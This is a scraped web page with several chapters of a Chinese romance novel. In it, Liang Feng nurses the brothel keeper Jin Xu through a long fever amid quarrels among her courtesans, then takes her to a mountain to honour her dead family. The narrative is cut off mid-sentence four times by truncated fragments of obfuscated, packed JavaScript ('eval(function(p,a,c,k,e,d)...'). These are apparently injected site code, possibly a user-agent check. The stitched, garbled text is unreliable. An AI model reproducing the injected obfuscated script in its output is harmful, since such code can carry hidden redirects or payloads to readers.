梁风问是什么原因产生的冲突,大厢说:“因为晚饭时雪姬姐姐多吃了半个猪蹄,结果那半个蹄子是丽姬姐姐要的。雪姬姐姐不知道,其他人也都没留意到,没人提醒雪姬姐姐不能吃。她们两人争执得已经打起来了。” 梁风听了,打着灯笼立即去找金絮。 风大雪小,找到她时,她正独自一人坐在庭院的砖桥上,衣裳穿得极其单薄。 梁风冲过去脱下大氅包住她,感觉她似乎在发呆,被他这一包才回神。 四周光线微弱,看不清她的神色,梁风抱起她就往房里去,听见她隐隐约约唤了声。 抱入房中,把她放到床榻上,梁风拍掉她头顶的雪,拉近火炉,怒道:“想冻死自己啊,衣服也不穿。” “穿了。” “穿少了!” 梁风把自己身上的雪也抖掉,和她一起烤火。 头发丝都有寒气,他抓着她的手靠近炉子,手指跟冰似的,脸庞被染上的一层火炉色都盖不住她发白的嘴唇。 金絮看着他,眼中深深的忧虑和无助随着温度一同变重。梁风顿时不气了,烤出暖意的手抓抓她的发丝,轻声道:“她们两个吵架,你却罚其他人关在房里不许出来,这样会把矛盾闹大的。” 她低下头,眨了眨眼,“嗯。” 梁风看见她的眼泪,被她眨了回去,他拿膝盖撞撞她的膝盖,安慰:“不要难过了。” 金絮双手揉脸,指头点着脑袋道:“她们在我脑子里吵架。” “她们因为一些小事不停地争吵,出门时是先开左边的门,还是右边的门;走路先迈左脚还是先迈右脚;吃饭是先吃这个菜,还是先吃那个菜;我是先杀这个人,还是先杀那个人。真的好吵。” 她的眼泪眨巴眨巴地冒出来。梁风道:“那你听我的。” 他身子坐正,用烤暖的掌心擦去她的眼泪,认真道:“你听我的。不许杀人。先开右边的门,先迈右脚,先吃肉。有其他任何让你犹豫不决的事情你都来问我,听我的。” 眼泪滚了一圈还是掉下来。金絮放下他的手,脱了鞋钻进被窝里面,团成一个球。 她在被子里一阵挣动,梁风等一会,她冒出头,头发沾了一脸。 “你不用总是自己想,有什么事情可以问我。”梁风拂开发丝,擦去她脸上的泪痕,“好不好?” 她很难过,但是点头。 她躺倒,像死掉,呆呆道:“她们不可能和平共处。只能你死我亡。” “并不。没有任何两个人只能你死我亡,我们要找到她们和平共处的方式。” 金絮摇头,“她们不是两团线,可以织到一起,她们是两个人。” “正因为是两个人,才可能存在退让的余地。” 金絮躺平看天花板,闭上眼。梁风抚抚她流进发丝里的眼泪,安慰:“不哭了。” 她睁开眼,“我有预感,我无法解决她们之间的问题。” “可以解决的。” “我想扩张温柔馆,建个分馆,就是想把她们两个分开。” “建。分馆可以让大厢管。” “可是......”她没有后文了。金絮看着他,吞了后半句话。 “你需要帮忙的地方,我可以帮你。” 金絮侧身,面对着他,闭眼,摇了摇头。 她想睡觉了。梁风扯多一张被子加盖,伏在床边摸摸她的头,守她睡着。 她没有再动,呼吸渐渐平缓悠长。过了一刻钟,梁风准备熄灯离开。 他起了身,金絮忽然睁眼,“馆里定了个新规矩。” 她轻轻地说,梁风伏回去,“什么?” “我说馆里那些文官,不许三三两两聚在一处,偷偷谈论有关朝廷的事。喝花酒就专心喝花酒,别谈些有的没的。” 她扯扯被头捂住鼻子,“我这么说。” 她继续闭眼睡觉,似乎是自言自语,不在意他的看法。 梁风继续守着,摸摸她的头,摸摸她的眉毛,摸摸她的太阳穴。 这个新规矩是为他定的吗?应当不是。他不能想这么多。来馆男客多官员而不多商户,估计让她始料未及,这连他也没想到。 她睡熟之后,梁风熄灯离开。回厢房躺床上想了想丽姬和雪姬的事,这夜睡得晚。 第二天起得也晚,他有心想看看金絮这道新规矩的效用,打算一整天没事的话就待在前馆。 他坐在角落常坐的席位,等厨房的早午饭。 雪姬也在前馆,闲闲地看诗。 丽姬在开业时辰前基本很少到前馆来,大多在庭院玩。雪姬想必是有意和丽姬错开。 丫鬟给他端来一碗粥,梁风吹吹烫就吃,余光看见后门打开,以为是金絮,一看过去是丽姬。 丽姬满脸怒气,气势汹汹地走来。 这脸色不对。丽姬带着这样的脸色,目标肯定是雪姬。 梁风忙起身要拦,她步子异常快,几步走到雪姬面前。雪姬看见她走近,立马想远离,然而没来得及。 啪—— 极其用力的一耳光甩到雪姬脸颊,她被甩得没站稳,嘴里两滴血飞溅而出。 梁风大惊,快步抓住丽姬再扬起来的手臂。雪姬明显被打懵了,没反应过来。丽姬抬脚踹向雪姬肚子。雪姬飞出十丈远,脑袋撞到了桌案一角,爬不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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金絮举菜刀,指着丽姬道:“你打啊!把对方打死啊!两败俱伤,一块死啊!” 她眼中张满血丝,头发乱糟糟的,浑身崩得死紧。 周围姑娘纷纷退开,梁风发觉不对劲,雪姬被打,眼眶红红都没哭,金絮却哭了。 “打啊!”金絮哭着嘶喊,举着菜刀指着除她以外的所有人,“不是看不顺眼吗!不是生气吗!杀啊!全都杀死啊!” 丽姬停止挣动,金絮是真的想砍人了。梁风放开丽姬,过去抓住金絮挥刀的手。他不很觉得金絮当真会伤害她们,他更怕她误伤自己。 “死了一了百了,全都清净了!”金絮在梁风禁锢下挥菜刀。她全身在用力,梁风不得不环臂锢住她的身体,她的脸色变得通红,不知是不是因为血气上涌。 丽姬这时却冷静了,方才的怒火顷刻消失,神色犹豫地看金絮,“你生气了?” “我早就生气了!你们谁管过我的心情?我早就生气了!” “你们互杀啊,杀完了我杀自己!”她握的刀就要贴脸,梁风死死伸着手臂。 金絮挣不脱,一样踩他的脚。 丽姬忽然冷淡,冷冷地哼了一声,看了地上的雪姬一眼,眼神变成冰刃刺两下,扭头走了。 梁风松了口气,立马感到挣动反抗他的力量小了。金絮一口气没上来,呆呆的。 “你每次都是自己痛快了,拍拍屁股就走,别的人全都不管!”金絮大喊。 丽姬没有回应。他低头看,金絮注视着丽姬离开,眼泪还在流最后一点。 “你不要生气,凡事慢慢解决。” 梁风擦擦她的眼泪,她的脸很烫,脸色越来越红,身体也热起来,喘出的气都是热的。 金絮用袖子抹两把脸,松了手,刀留在他手里,自己走向雪姬。 她蹲下,想触碰雪姬红肿的脸颊却不敢,手指停在雪姬的手边。 “对不起。” 雪姬捂着脸,泛白的嘴唇微微颤抖,目光很委屈,“不是我......” 金絮的呼吸断断续续,也很抖,“......她是胡闹,她不是故意的......” “胡闹。”雪姬看着她的双眼,轻声道:“你总是帮她的。” 再想接近的手都停下了。雪姬不再看她,起身走了。 金絮怔怔地,对着雪姬的背影说不出否认的话,她很无助地看向梁风。 梁风擦去她的眼泪,摸摸她的额头,很热,“是不是发烧了?” 她摇头,脸颊的红热全往眼睛涌,眼睛快烧了。 “我做错了。” “没有,你没有做错。” 她拼命摇头,眼睛逐渐干得没有一点眼泪,眼神变得迷离,梁风感到她额头越发热。 金絮闭上眼,浑身卸力,往他身上靠,拽着他睡着了。 170. 大病 金絮病倒了。 突然发起高热,整个人陷入昏迷。 梁风抱她进屋,立刻叫来孙姨。姑娘们这时全都噤声了。 孙姨看过,开了退热药,小缃喂她喝下。 喂药过程十分顺利,孙姨说今夜能降温便无事。 这是急热,很容易陷入危险。金絮烧得脸庞通红,梁风不停更换冰毛巾,随时观察她的状况。 今夜温柔馆停业,姑娘们都很担心金絮,围在外面等消息。天黑后,丽姬和雪姬又吵起来。似乎因为雪姬也想看看金絮,被丽姬拦下了,两人当场吵起来,这次没有动手。大厢和其他姑娘出面调停,争吵声梁风在屋内都能隐约听见。 到了亥时,金絮没有降温。 梁风着急起来,小缃隔段时候便用冰巾为她擦拭身体,他守在外间,担心得睡不着。 接近子时,金絮仍是高热,甚至有更热的迹象,她开始说胡话了。 梁风急得不行,留下小缃,决定回府找李婶来。 他一打开门,立即听见寝楼拱门外的争执声,夹杂的丽姬的高声非常突出。 他走过去看,又看见丽姬和雪姬在吵架。 十数名姑娘堆在这里,大致分做两派,互相对峙,中间地上炸开一份宵夜饺子。 雪姬给屋里的人送宵夜,没看清路不小心打翻了,丽姬拿此大骂雪姬。有人指责丽姬太过分,只是不小心打翻饺子而已,遭到丽姬方的火蓉以射弹弓一样的气势反驳。 大厢快控不住场面了,梁风站去两方中间,好言相劝。丽姬瞪他,考虑到金絮而收敛几分,暂时不与雪姬计较。 她们在这里吵架,昏迷中的金絮都会烦心。 丽姬等人走后,雪姬捡起地上的饺子,大厢让人在这附近多挂几个灯笼。梁风见消停了,踩着屋顶飞去王府,带上李婶再踩着屋顶飞回来。 李婶瞧见金絮,脸色微微变了,快步走近把脉,拔开她的眼皮看眼睛。 “奇怪了。”李婶低声道:“怎么会突然生大病。” 孙姨一旁道:“她除了气血虚,来月事时会有轻微腹痛外,身体并无大恙,一场风寒就能导致大病?” 李婶摇头,“不好判断高热是否因风寒而起。” 梁风问孙姨:“怎会气血虚?从前没有调养过吗?” 孙姨道:“调养过了,女子多少都有些气血虚弱的,加之青楼女子作息昼夜颠倒,气虚十分常见,并不易导致大病。” 李婶要施针,遣人出去,留下几名丫鬟辅助。 梁风忧心更甚,完全静不下来,又不敢打扰李婶诊治。 他独自在外间等着。楼内外俱静,姑娘们都睡了,争吵都歇息了。他耳边最大的响动是金絮昏迷中意识被烧灼的声音。 过了丑时,李婶施针结束。 “体温降了一些,状态见好,按我的方子煎药,过一个时辰后为她服下。” 小缃为李婶收拾一间厢房。梁风为金絮守夜,过一个时辰后喂她喝药。 喂药后,她的呼吸逐渐放缓,梁风的心才放下一点。 快天亮时,她明显好转,只剩低热。李婶说大约午时会醒。 梁风想看她睁眼,继续守着。 可是过了午时,她还是没醒。 李婶神色渐凝重,翻来覆去检查金絮全身和所有药物,全部没发现异常。按理她喝了药,过几个时辰就该醒了。 前馆在准备开业,由大厢操持。梁风和小缃全心照顾金絮。然而入了夜,金絮的病变重了,复烧起来。 “怎么会?!”李婶诧异。梁风都惊了。 李婶换了副药,喂金絮喝下后仍不见好转。 亥时,前馆的人陆续回来。梁风这才听说,大厢操持的第一日,前馆就出了大事。 丽姬和雪姬再次动了手。丽姬动手时,出脚的动作被周边人拦下,反而踢到了旁边无辜男客的头。那男的是京城一户有名姓和靠山的商户,温柔馆遭了大骂。 大厢选择出钱赔偿,却无法阻止温柔馆声誉受到严重影响,于是今夜提前闭馆。 大厢很受打击,自觉无颜面对金絮。 梁风看着沉睡的金絮,无暇管其他。 金絮的病情却在后半夜再次出现好转。李婶沉默了,难以判断是不是药性对她的身体有冲撞,提出继续观察。 梁风很怕她烧坏了脑袋,烧出病根,好转间隙趴在她床边休息。 之后一连四日,李婶又施过一次针,她的身体每入夜就会见好,一到白日又会变差,病势起伏,反反复复。 不再出现呓语和轻微抽搐,发烧也不再有第一日时的高热,但是低烧不断,始终不醒来。她喝药、进食粥水、出汗都很顺畅,李婶不明白。 梁风眼看她日渐消瘦,盖在身上的棉被不断变塌,脸颊都陷出阴影。他日夜守在金絮床边,直到大厢哭着向他求助。 大厢撑了五日,撑不下去了,求助无门,找到他这里。 前馆姑娘们之间的矛盾日益激烈,换季前后馆里事务扎堆,还有许多男客对金絮不在表示强烈不满,全都对着大厢控诉,原本十分有规律的每日经营,忽然间全乱了。 但是,事情虽然繁杂,馆里事务的统筹和方向却不是大厢的主要问题,最难的在于部分姑娘不服她的管教,所以大厢希望梁风能出面帮她镇镇场子。 金絮没有醒转迹象,梁风决定帮帮大厢。不能等她醒来,发现温柔馆倒了。 他的安分王身份不便出面,大厢在前馆操持,梁风在后方震慑众位姑娘们。 他没有别的办法,表示自己暂代金絮处理馆中事务,强硬地要求每个人都听大厢的话,如有不听者,军法处置。 结果当然是招致不满,姑娘们不服大厢,更加不服他。梁风以武力干涉,暂时控制住局面。时日长了,来客里面有人猜测温柔馆背后大主顾是否就是安分王。 梁风一边听着流言蜚语,一边照顾金絮,一边帮着大厢。 二月下旬,无意间从流言蜚语中传出,江湖有名的话本子大家支郁笑长生去世了。 笑长生没熬过这个冬天,春节前后去世的,消息在冬天快要结束时才传到京城。 梁风听说后,告诉了睡中的金絮,她还没醒。梁风想起好多年前和她一起写的话本,早已不知丢到哪里去了。 “我找到事情做了。”他握握她的手,和她说:“等你醒来,我就写写文章,像以前和你那样。写不出来的话就先看几本,我好多年没看过了。” 可能比较难,他想试试。 金絮没有回应,她的体温正常,不会发烧了,但始终不醒。 笑长生去世的消息传到京城的这天,丽姬和雪姬之间再次爆发争吵。丽姬推倒雪姬,雪姬被头上的簪子戳到,头皮破了一块,出血了。 这次丽姬是来阴的,从背后偷袭。大厢急得哭了,找到梁风,问他怎么办。 梁风深刻理解了金絮为什么病得躺在床上不愿醒来。 “她在里面病着,你们在吵架?!她就是被你们气病的!” 他命人把二姬抓起来,当众人面训斥,再一人一条绳子绑在柴房,先关上一夜,第二日酌情解禁。 然而这夜金絮的病变重了,体温又高起来。 李婶把过脉后脸色很不好,梁风强制要求李婶再次为金絮施一次针,李婶照他说的做了。 他坐在外间,呆呆地看着房门。 万籁俱寂,这是一个过程。 不同于母亲剧烈的猝不及防,这是一个过程, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你要醒了。”梁风非常欣喜,活动她的手指。 “赶紧醒来,你醒了就轮到我睡了。” 仿佛回应对他的话,金絮随着天光一起大亮,脱离危险,降到没生病时的体温,完全退烧了。 病情反复十分折磨,梁风等待李婶睡醒为她把脉,心里想等她病愈,肯定要陪同她锻炼的,唤醒久卧的身体。 他还能撑着不睡,握着她的手诉说往后的打算。 巳时,暖阳正好,冰雪消融,晨鸣鸟叫在天空下四响,徐徐传进屋里。梁风恍惚地感知到天光色彩中的万物复苏。 “春天到了。” 掌心的手指动了动,麻木掉的脑子没反应过来,他低头一看,金絮睁了眼。 眼前一黑,梁风俯身凑近,确认真假。 金絮对他的举动有反应,转动眼珠子看了他。 混沌迷茫的视线仿佛从鸿蒙中睁眼,万物之中也有她,梁风再被注视了。他爬起来冲出房间,把尚在洗漱的李婶拖走。 李婶为她把脉。梁风趴在她床头,摸摸她的脑袋,掌心正常的温度让人很安心。 “你醒了。”他道。 李婶看看她的眼睛和脸色,笑道:“醒了便无事了,之后好好静养,隔几日恢复气力便下地走走,多晒太阳少操心,我再开服药。” 梁风很开心,悬着的心放下砸出响。 “你醒了。” 金絮的眼神逐渐清晰凝固,眨动间都有了可控的力气。 “嗯。”她应声。 171. 双敬·上 “我感觉我是很舒服地睡了一觉,旁的没有。” “照顾你的人可不舒服。” “粥里没肉。” “不爱也得喝。” 金絮张嘴,一勺粥送进她的嘴里,她嚼一嚼,咽下。 李婶抚摸她的脸颊,面色经过两天调养红润了许多,李婶很欣慰,“你的身子并不差,烧成这样也没留下病根。” 她只有些咳嗽。 金絮拍拍他的肩膀,“辛苦你照顾我了。” 梁风搅粥,看她一眼,继续搅粥。 “不过,听说你对我的姑娘很严苛。” 梁风看了下李婶,药箱收拾好了,李婶点燃药香,香气可以治疗咳嗽。 “军营的纪律叫军法,温柔馆的纪律叫温柔法,哪里严苛了。” 吃着他的嘴软,金絮认同颔首:“有点道理。” 他要接着喂,金絮一撇嘴,“不喝了,没味道。” 吃的有味道的东西是丑橘,梁风和李婶允许她吃橘子。梁风剥橘子给她吃。 “雪姬又出门了么?” “嗯。” 金絮吃橘子,橘子味盖过了药香。 她醒了三天了,梁风睡过一觉。昨天清晨时他醒来,天还没亮,见到雪姬独自出门,不知去干什么,直到开馆前才回来。而今日一早雪姬又出门了。 “随她去吧。”梁风道,可能雪姬铁了心要和丽姬保持距离。 “嗯。” 金絮醒来胃口不大,吃几瓣橘子就不吃了,卧床休息。 大厢过来找她,和她交待这段时日温柔馆发生的事情。梁风一边旁听。 “贾老板和赵老板都在前馆定了房间,一出手就定了半年,一定下来家当就摆了满屋,把温柔馆当家了。” 金絮皱皱眉,“不是说了不可以,温柔馆所有厢房不论是谁,只要出了规定的房钱就能用,不是固定在谁的名下的。” 大厢小心看了梁风一眼,小声道:“我说过了,可是两位老板说那为什么梁公子可以,温馆主不是说馆内人人平等,无论身份头衔如何都不分高低贵贱,那梁公子可以,凭什么他们不可以。我就说不出话了。” 金絮盯着梁风。 梁风盯橘子,自己剥自己吃。 馆内凡是来客去除头衔,人人平等,这也是她病倒前定下的新规矩之一,还有来客里的文官不许三两聚在一处谈论国是之类。看来她的新规矩是有效用的。 大厢继续小声道:“现在很多人都说,温柔馆可不是个普通青楼,背后有大主顾大靠山,大有来头呢。” 金絮盯梁风。梁风盯着窗户外面。 “还记得我跟你说过什么?你之前提过能不能出钱让我每天只陪着你,我说不行,我行事有原则的,破例一旦出现,只会有越来越多的人效仿,而我无法拒绝。” 梁风低头,见她没有要和气一下的意思,耍赖:“我是你规矩里的例外,我不管。” 金絮不说话,用眼神加压。梁风不看她道:“那你就对这些破例的人另外再加些新规矩,我又不会不听你的话。” 他听了她的话,别的人当然也会听他的话。 金絮微微一叹,叹声里有无奈,懒得管他了,示意大厢继续说。 话头过去了,梁风凑到她身边。 大厢道:“你病倒后没过两天,馆里就有姑娘走了,我没拦着。后面你始终不见醒转,走的人越来越多,到你醒来的前一天,走了十一人了。” “你问过为什么会走么?” “问过了,说是能够自己求生了,不愿意再做青楼行当。” 她想了片刻,道:“也好,她们都是有自己主意的。” “为什么特意在她病倒的时候走?”梁风问。 金絮道:“这就各人有各人的原因了。” “我也问过了,说是怕你醒着会不放人。”大厢道:“这段时日也有新的人进来,我都收下了。” 她思索片刻,应道:“好。” “其余就没什么事情了,我应付不来的时候,梁公子和孙姨都会帮我。”大厢朝梁风感谢一笑,“谢谢梁公子。” “不用客气。”梁风道。 大厢汇报完毕就离开了。梁风起身添点炭火,初春乍寒,风里冷气侵人,她可不能再倒下了。 金絮看着他走来走去,药香被炭火熏得暖茸茸的,她扯低背靠的枕头,斜躺着道:“我不会不放人的。” 梁风应:“我知道。” “我做鸨母这些年,馆里收进的姑娘都是主动投奔的,大多之前就有在别家青楼做过。她们很害怕,怕我像她们之前遇见的鸨母一样,不会放人,对待姑娘很严苛。” 梁风理好她腿部的被子,金絮看着自己的脚道:“我可能做错了。” “怎么了?”梁风坐回她旁边,摸摸她的手温,“你做错什么了?” “我或许不应该教她们读书识字。”金絮低头看着他的手指,指尖往他掌心里贴了贴。 “这几年里,每日开业前我如果得空就会教她们识字,她们愿意学的人不少。时日长了,她们也认得了不少字,看得懂许多文章了。我还让她们学一些小手艺,像是刺绣、算账、代笔之类,我希望她们出去后,能有一个谋生的手段。” “不好么?”梁风松松握住她,给她掌心贴。 “不是说好不好。”她指尖戳戳他的手指,“温柔馆给接客姑娘的月俸很高,她们很容易攒钱,还学了门简单的手艺,出去就能养活自己。可是据我所知,她们中很多出去的人并没有找个活计谋生,也不找人成家,而是拿攒下来的钱快活,快活完了随便一死。青楼行当里面这样想法的人不少。” 她摇头,“出去的人不一定会好好过日子。” “她们会自暴自弃。”梁风道。 “她们和我说,光是喝避子汤都早把身子喝坏了,一身风尘病,出去后再找份活计只会让身子变得更坏,死得更快,还不如趁早吃喝玩乐。她们用身子让男人玩乐,自由了也该轮到她们吃喝玩乐了。” 梁风有些能够理解,他如今也自由了,他也可以逍遥,想干什么干什么。 她沉吟,显得忧心忡忡,“我以为我很懂她们,很知道她们在想什么,但她们觉得我不懂,很多时候并不听我说话。” “我不应该教她们识字。她们识了字,觉得自己懂了许多男人写在书里的大道理,她们便与众不同了,哪怕曾经从事风尘,她们也与众不同了。然而只要一出去,她们就会发现,根本没有与众不同,懂了男人写的大道理,她们也不是男人。在多数人眼中,哪怕她们挣脱出风尘,她们也还是风尘里的人。” 金絮想来想去最后自否道:“读书识字并不能改变什么,反而让她们更糟了。我教会她们读书,却没有教给她们与读书相配的......”她斟酌一番措辞,道:“聪慧。我自己也不是一个聪慧的人。” “可我还在教。”她丧丧地皱起脸,“我睡了这么久,做梦的时候总是听见她们在骂我。” “才没有,她们可不会骂你。”梁风抚平她丧丧的脸皱。 抚也抚不平,金絮郁闷地拢被子,躺平。 梁风看她闷闷的脸色,心里琢磨琢磨,和她说道:“我在军营里时,每次剿匪招安,我都会说清楚,参军的好处是打了胜仗有赏钱,每日管饭,可抵家里人头免税,战死的士兵有抚恤等。同时,我也会告诉他们,参了军,打仗会死、训练会死、触犯军律会死、吃光军饷也会死,而且军饷是别人给的。我把好好坏坏告诉他们,剩下的给他们自己选择,有得选择是一件很幸福的事情。” 闷闷的脸色并没有好转,温柔馆和军营当然不可同类相比。梁风捏捏她手上的肉,被她感染了丧丧,“我也不知道该怎么做。” 抚平的脸再度皱起来,她问:“人是该清醒一点,还是糊涂一点?” 他想了想道:“该清醒的时候清醒,该糊涂的时候糊涂。” “什么时候应该清醒,什么时候应该糊涂?” 他又想了想,“开心的时候糊涂,不开心的时候清醒。” “怎么说?” “开心的时候只管开心就好了,不要去想为什么开心。不开心的时候就要想想为什么不开心,然后让自己尽快开心起来。” 她眨巴眼睛思索,点头,“有点道理。” “你少操点心,先把病养好。我觉得你做得没错。” 梁风拨拨她枕边散乱的头发。金絮看向他,问:“你要做的事情找到了么?” “找到了。”梁风郑重道:“你教我识字吧。” 金絮眨眨眼。 “那天我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梁风在榻板上扭成蛆,就是开不了口,横竖撇点捺被他弃到一边。 金絮坐一旁拨着算盘记账,理也不理他。 梁风反反复复地看她又看她,如果能是她自己提起来就好了。 空气中传来一股若有若无的香气,像是花瓣贴脸擦过的感觉。梁风下意识看了眼大开的窗户,窗户外有花树。 他走到窗边看,花树的香气却是另一种香。他回到位置,又闻到了那股香气。 他慢慢溯源,溯到了金絮身上。风经过她,带出了一点香气。 梁风悄悄凑近,靠近她的手臂仔细闻了闻。确实是她身上的,不是花草或者脂粉香,是一种更自然的香味。 他闻多一会,突然咽了咽喉咙。 金絮看他一眼,缩缩手臂,继续算账,“你这几天在我面前有些欲言又止。” 梁风欲言又止。 “要说什么?” 梁风脱口而出,“你身上好香啊。” 金絮神情好自然,“我知道。” 梁风绷着脸,纠结道:“你父母的祭日快到了。” 她的笔停了,看向他。 “你往年是如何祭拜的?”他问。 她低下头道:“墓碑在我心里。”她重新动笔,笔落下去又停住,重新看向他。 放在心里,并不某一天拜,而是日日拜。梁风觉得,她把日子过好也就是对逝去父母最大的安慰了。其实当年的痛苦,又何必年年都让自己受一次,他希望她开开心心的。 “要不要我带你去京城郊外的序山?” “序山?” “序山是京城附近最高的一座山,那儿没人,夜里看星辰仿佛近在眼前。我们烧些纸,不弄出太大动静,不会有人发现的。” 她听了,放下了笔,坐正看着他。 “你买些蜡烛和纸钱,我来准备别的。”梁风道。 “好。”她点头。 她眼中星星点点,散发的香气飘飘荡荡,撩动他的心脏。梁风坐远一点,坐远一掌,平复心脏。 172. 双敬·下 之后梁风在王府住了剩下三天,将早在准备的牌位雕刻完毕。 他提前准备好了她家人的牌位,每一块只比巴掌略大,完整地刻了每一个人的名字。 金延守、顾南蕴、顾俨北、她的两位兄长金诚和金诺,还有他印象中记得的顾琼。其他不记得名字的人就只能用“金氏一家”和“顾氏一家”的两块牌位代表。 秘而不宣,无法见人。牌位若让她来准备,就需要刻为“絮父”“絮母”,不可直接用名字。 去序山这夜,他备好马车,带上牌位和果酒,天黑后去温柔馆接她。虽然果酒是微微甜的,但她的病才好,不能喝太烈的酒。 接到她,梁风驱车出城。金絮坐在车里,看着牌位发呆。 到了序山脚下,走到马车不能行使的山路口,梁风带齐东西,扶她下车,开始徒步上山。 “不用爬到山顶,接近山顶的位置有一块很大的山石,我们去那里。” 金絮双手怀抱着牌位,“嗯。” 暗卫八方散开。今夜星空好,方向易辨,梁风打着火把,走大路上山。他知道有小路可抄近,但是夜黑,山里有蛇,安全起见还是走大路。 “我以为,你找到可做的事情会是离开京城,去别处居住。”金絮道。 “你在京城,我去哪里?” “哪里都可去。” 他低头看路,“我是要陪着你的。” “你是要我陪着的。” 山路细沙很滑脚,梁风牵着她的手,她走不快,他也随着她的步子慢慢走。 “我出不去,我没法离京。” 抱怨似地和她说,梁风借着火把的光看她,金絮却没说什么了。 山路长远,她才病愈的体力跟不上,走走停停,看看山里没什么可看的夜色。 “我好讨厌你在太南的那座宅子,想拆掉。” “你敢。” “......我不敢。” 爬到子夜,气温低了,梁风带了斗篷给她穿。金絮爬得挺热,不想穿。 过了丑时,终于看见那块巨大的山石。突兀地伫立在丛林之间,像是大山伸出向上勾的手掌。 金絮用剩下的体力快跑几步,踩上大山的手掌心,抬头看,满布夜空的星辰仿佛近在咫尺,一颗一颗像是逝去之人注视世间的眼睛。 梁风放好铜盆和果酒,替她披上斗篷,“想烧多久烧多久。” 金絮摆开牌位,对他点点头。梁风留下火把给她,走到不远处等。 铜盆的纸钱燃烧起来,一团火焰照亮她四周,照出她的身形轮廓。梁风看着她,她烧纸钱的动作暗藏一丝轻快,难得如此隆重的祭拜,她心里是开心的。他不由也跟着开心。 她絮絮叨叨和亲人说着什么,梁风安静等候。群星也在看他,也有母亲的注视。他更多地认为,逝去的人是在天上,而不是在地下。 子时慢慢过去,火焰小了,金絮回头看他。 梁风走近,“说完了?” 她轻轻点头,“说得少,他们才放心。” “那就下山么?还是要再坐会儿?” “下山吧。” 梁风握握她的手指,有点冷了,他拢紧她的斗篷,收拾掉钱灰和蜡烛,点燃一支新火把。金絮一个一个把牌位装袋,抱在怀里。 他算算时辰,下山可以走慢点,到城门口时便差不多天亮启城了。 和她并肩下山,梁风问:“你和他们说了什么?” “我说我现在过得挺好的,让他们不用担心。” “他们不担心,我可担心得很。” “不用你担心。”她脚底提到一个石子,改道:“你不用担心。” 梁风压低火把,仔细照路,“你有没有和他们说,你打算找个什么样的人成家啊?” “没有。” “那他们有没有叮嘱你找个什么样的人成家啊?”托梦之类。 金絮略略一思索,没说话。 梁风道:“你年纪也不小了......他们做长辈的可着急子女成家的事呢。” “我才二十,不着急,你先着急吧。” 他也不着急。梁风看看她,看看火把照下的路,又看看她,试探道:“我的王妃之位空着呢。” “不喜欢。” 回绝得很干脆。梁风默默。 沉默地走了一段路,月亮隐入了山的那面。梁风怕她被石子绊倒,不断地看她,金絮坦然镇定地被他看。 又走了一段路,金絮脚步变慢。 “累了?”他停下来问,金絮点点头。 主要是困了,已经到后半夜,再过不到两个时辰天都亮了。她病后不再那么晚睡,刚才还喝了果酒,走不动了也是正常。 “不休息了,尽快回城吧。”他递出火把,蹲下,“我背你。” 金絮也不推辞,一手拿火把,一手拿牌位袋,攀着他的后背被他背起来。 她病后只胖回去了一点点,背着不重,梁风调整好姿势继续下山。金絮手臂前前伸着火把。 走着走着,她的体温降下来,冷了。金絮拿出果酒喝着,梁风道:“喝一点就好。” 她才不管,随意喝着。 金絮环着他的肩颈道:“我这些年,疑惑的事情越来越多,想明白的事情越来越少。” “少想些。”梁风偏头,看不见她。 “我生病的这段日子,馆里不是来了很多新姑娘。” “嗯。” “她们和我说,有的时候那些男的和她们做的时候会叫我的名字。” 做的时候叫她的名字。梁风走着,脚步猛地顿住。 “啥?”他一个转身回头,火把滑出了一道火线,看不见她的眼睛。 “她们并不生气,只是有些责怪我,责怪我为什么不用接客。” 金絮前倾越过他的肩头,梁风看见了她的眼睛。 “你愿意接客吗?” “不愿意。”她摇头,“可是她们也不愿意,她们接了。” 梁风继续下山,厉色道:“温柔馆不是一个好地方,你不能留在这里了。” “不走,叫名字而已,又不会掉块肉,馆里的姑娘需要我。” “我也需要你。” 他问:“你需要我吗?” 金絮不吭声了。 梁风晃一晃她,“你需要我吗?” “......我睡着了。” 脑袋后面贴上她的脸,耳边传来她的呼吸声。 梁风恼她,背好了继续走。 “我不觉得她们这样想有错。”睡着的金絮道:“如果我是她们,我也会这样想。为什么有的人出生就被父母卖给人牙子,为什么有的人出生就被封为太子。” “人各有命。”梁风只能这么说。 “人各有命。”金絮道:“人各有错。为什么我以前生来就那么富贵,我想为她们多做点什么。” “那就做,我也生来富贵呢。”他好像没有缺衣短食过。 呼吸已经闻出酒味,梁风道:“少喝点。” 金絮丧气了,“可我不知道做什么是对她们好的。”脑袋垂到他的肩头,“她们可能觉得我只要给她们金银珠玉,就是对她们好了。” “那就给,可是你能给几个人。”梁风道:“能帮她们的地方才帮,你如今也不富贵了不是么。” 金絮趴他肩头,“嗯嗯,我是个穷人了。” 她已然有了些醉意,她在温柔馆酒量没这么差,是病愈后的身子撑不住了。梁风蹲身把她放下,夺了她手里的酒囊,再背回她。 金絮环住他的肩膀,没有表示不满。 梁风认真地和她讲道理,语气严肃:“你没有错,但是你有罪。” “什么罪?” “你在放纵我对你的喜欢,你有罪。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 